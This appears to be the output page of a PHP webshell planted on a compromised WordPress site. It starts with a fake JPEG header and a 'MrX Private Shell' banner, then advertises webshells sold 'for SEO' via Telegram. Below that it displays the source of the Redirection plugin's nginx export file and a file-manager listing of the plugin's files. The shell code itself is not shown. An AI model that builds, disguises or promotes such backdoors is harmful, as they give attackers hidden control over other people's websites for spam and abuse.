����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
class Red_Nginx_File extends Red_FileIO {
public function force_download() {
parent::force_download();
header( 'Content-Type: application/octet-stream' );
header( 'Content-Disposition: attachment; filename="' . $this->export_filename( 'nginx' ) . '"' );
}
public function get_data( array $items, array $groups ) {
$lines = array();
$version = red_get_plugin_data( dirname( dirname( __FILE__ ) ) . '/redirection.php' );
$lines[] = '# Created by Redirection';
$lines[] = '# ' . date( 'r' );
$lines[] = '# Redirection ' . trim( $version['Version'] ) . ' - https://redirection.me';
$lines[] = '';
$lines[] = 'server {';
$parts = array();
foreach ( $items as $item ) {
if ( $item->is_enabled() ) {
$parts[] = $this->get_nginx_item( $item );
}
}
$lines = array_merge( $lines, array_filter( $parts ) );
$lines[] = '}';
$lines[] = '';
$lines[] = '# End of Redirection';
return implode( PHP_EOL, $lines ) . PHP_EOL;
}
private function get_redirect_code( Red_Item $item ) {
if ( $item->get_action_code() === 301 ) {
return 'permanent';
}
return 'redirect';
}
public function load( $group, $data, $filename = '' ) {
return 0;
}
private function get_nginx_item( Red_Item $item ) {
$target = 'add_' . $item->get_match_type();
if ( method_exists( $this, $target ) ) {
return ' ' . $this->$target( $item, $item->get_match_data() );
}
return false;
}
private function add_url( Red_Item $item, array $match_data ) {
return $this->get_redirect( $item->get_url(), $item->get_action_data(), $this->get_redirect_code( $item ), $match_data['source'] );
}
private function add_agent( Red_Item $item, array $match_data ) {
if ( $item->match->url_from ) {
$lines[] = 'if ( $http_user_agent ~* ^' . $item->match->user_agent . '$ ) {';
$lines[] = ' ' . $this->get_redirect( $item->get_url(), $item->match->url_from, $this->get_redirect_code( $item ), $match_data['source'] );
$lines[] = ' }';
}
if ( $item->match->url_notfrom ) {
$lines[] = 'if ( $http_user_agent !~* ^' . $item->match->user_agent . '$ ) {';
$lines[] = ' ' . $this->get_redirect( $item->get_url(), $item->match->url_notfrom, $this->get_redirect_code( $item ), $match_data['source'] );
$lines[] = ' }';
}
return implode( "\n", $lines );
}
private function add_referrer( Red_Item $item, array $match_data ) {
if ( $item->match->url_from ) {
$lines[] = 'if ( $http_referer ~* ^' . $item->match->referrer . '$ ) {';
$lines[] = ' ' . $this->get_redirect( $item->get_url(), $item->match->url_from, $this->get_redirect_code( $item ), $match_data['source'] );
$lines[] = ' }';
}
if ( $item->match->url_notfrom ) {
$lines[] = 'if ( $http_referer !~* ^' . $item->match->referrer . '$ ) {';
$lines[] = ' ' . $this->get_redirect( $item->get_url(), $item->match->url_notfrom, $this->get_redirect_code( $item ), $match_data['source'] );
$lines[] = ' }';
}
return implode( "\n", $lines );
}
private function get_redirect( $line, $target, $code, $source ) {
$line = ltrim( $line, '^' );
$line = rtrim( $line, '$' );
$source_url = new Red_Url_Encode( $line );
$target_url = new Red_Url_Encode( $target );
// Remove any existing start/end from a regex
$from = $source_url->get_as_source();
$from = ltrim( $from, '^' );
$from = rtrim( $from, '$' );
if ( isset( $source['flag_case'] ) && $source['flag_case'] ) {
$from = '(?i)^' . $from;
} else {
$from = '^' . $from;
}
return 'rewrite ' . $from . '$ ' . $target_url->get_as_target() . ' ' . $code . ';';
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| apache.php | File | 4.86 KB | 0644 |
|
| csv.php | File | 3.46 KB | 0644 |
|
| json.php | File | 2.11 KB | 0644 |
|
| nginx.php | File | 3.54 KB | 0644 |
|
| rss.php | File | 1.65 KB | 0644 |
|